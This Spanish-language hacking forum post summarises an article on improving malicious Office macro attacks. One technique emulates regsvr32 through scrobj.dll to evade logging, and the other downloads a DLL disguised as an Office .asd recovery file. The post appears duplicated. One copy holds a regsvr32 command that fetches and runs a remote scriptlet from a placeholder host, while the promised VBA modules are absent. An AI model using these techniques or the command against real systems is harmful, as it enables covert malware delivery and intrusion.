Bienvenidos al nuevo foro de hackplayers. En caso de encontrarse cualquier tipo de error, contacte con cualquier administrador por mensaje privado.
Recuerda que, para incrementar tu privacidad, tambien puedes acceder al foro usando el dominio forohpysho2t5mjs.onion de la red tor.
Recuerda que, para incrementar tu privacidad, tambien puedes acceder al foro usando el dominio forohpysho2t5mjs.onion de la red tor.
Mejorando las técnicas de ataque con macros
Buenos días familia, vengo con caramelos, me he topado con un articulo muy interesante en el que se habla de dos técnicas que se pueden emplear para mejorar nuestros ataques basadas en macros de MS Office.
Las tecnicas son 2:
- Usar una DLL que ya existen en el disco empleando la técnica de Casey Smith (@subtee) regsvr32 sin regsvr32.
- Usar DLL que se almacenan en el disco haciéndose pasar por archivos que legítimamente guardaría MS Office en el disco.
Bueno breve resumen, tecnica 1:
La clave es que esto no deja marca en los logs de eventos de uso de regsvr32 ya que no se ejecuta.
Otra cosa a tener en cuenta es que debemos crear otro proceso o inyectarnos en uno existente ya que si no
nuestro canal de comunicación se cerrará tan pronto como finalice el proceso de turno de MS Office.
Al lio, Tecnica 2:
Es posible engañar a office xa que se descargue una DLL en una ubicación donde se almacenan los
archivos de recuperación cuando ocurre un crash y lo guarde con el formato de este tipo de archivo
.asd, aunque realmente sea una DLL.
Por otro lado tenemos un problema al interactuar con una dll personalizada, ya que ésta tiene que ser
declarada antes de usarla y nosotros todavía no la hemos descargado así que, ¿cómo la vamos a declarar?
bien pues los notas han creado una segundo modulo vba que se encargara de declarar la DLL antes de poder
ser usada y que sera invocado por el primer modulo vba.
Por ultimo hay un problema con los "path", no se pueden usar rutas absolutas, xq puede que no la conozcamos
y tampoco variables de entorno, así que los makis lo que han hecho ha sido usar una función vba que permite
cambiar el "working directory" de la vba que sí que acepta variables de entorno.
En resumen el primer módulo se descarga un archivo que guarda con extensión asd que resulta que en realidad
es nuestra dll, luego se cambia el "current directory" de la vba a donde se almacenó la dll. El segundo modulo
es el que se encarga de de invocar la funcion exportada desde el dll y entonces una subrutina puede llamar a
la funcion exportada en el ejemplo Run.
Modulo 1:
Modulo 2:
Bueno no se que tal me he explicado, por aki os dejo el articulo, ya me contareis que tal funciona...
link --> https://labs.mwrinfosecurity.com/blog/dll-tricks-with-vba-to-improve-offensive-macro-capability/
Que aproveche, buen finde!
Trust no one, question authority
Las tecnicas son 2:
- Usar una DLL que ya existen en el disco empleando la técnica de Casey Smith (@subtee) regsvr32 sin regsvr32.
- Usar DLL que se almacenan en el disco haciéndose pasar por archivos que legítimamente guardaría MS Office en el disco.
Bueno breve resumen, tecnica 1:
regsvr32 /s /n /u /i:http://someinconspicuoussite.com/file.sct scrobj.dll Declarando una funcion en vba que mapee la funcion dllinstall en scrobj.dll podemos emular el comportamiento y funcionalidad de regsvr32. La funcion requiere dos parametros, False (Uninstall) y el string de la url que apunta a nuestro scriptlet COM.
La clave es que esto no deja marca en los logs de eventos de uso de regsvr32 ya que no se ejecuta.
Otra cosa a tener en cuenta es que debemos crear otro proceso o inyectarnos en uno existente ya que si no
nuestro canal de comunicación se cerrará tan pronto como finalice el proceso de turno de MS Office.
Al lio, Tecnica 2:
Es posible engañar a office xa que se descargue una DLL en una ubicación donde se almacenan los
archivos de recuperación cuando ocurre un crash y lo guarde con el formato de este tipo de archivo
.asd, aunque realmente sea una DLL.
Por otro lado tenemos un problema al interactuar con una dll personalizada, ya que ésta tiene que ser
declarada antes de usarla y nosotros todavía no la hemos descargado así que, ¿cómo la vamos a declarar?
bien pues los notas han creado una segundo modulo vba que se encargara de declarar la DLL antes de poder
ser usada y que sera invocado por el primer modulo vba.
Por ultimo hay un problema con los "path", no se pueden usar rutas absolutas, xq puede que no la conozcamos
y tampoco variables de entorno, así que los makis lo que han hecho ha sido usar una función vba que permite
cambiar el "working directory" de la vba que sí que acepta variables de entorno.
En resumen el primer módulo se descarga un archivo que guarda con extensión asd que resulta que en realidad
es nuestra dll, luego se cambia el "current directory" de la vba a donde se almacenó la dll. El segundo modulo
es el que se encarga de de invocar la funcion exportada desde el dll y entonces una subrutina puede llamar a
la funcion exportada en el ejemplo Run.
Modulo 1:
Modulo 2:
Bueno no se que tal me he explicado, por aki os dejo el articulo, ya me contareis que tal funciona...
link --> https://labs.mwrinfosecurity.com/blog/dll-tricks-with-vba-to-improve-offensive-macro-capability/
Que aproveche, buen finde!
Trust no one, question authority
Etiquetado:
Accede o Regístrate para comentar.
Comentarios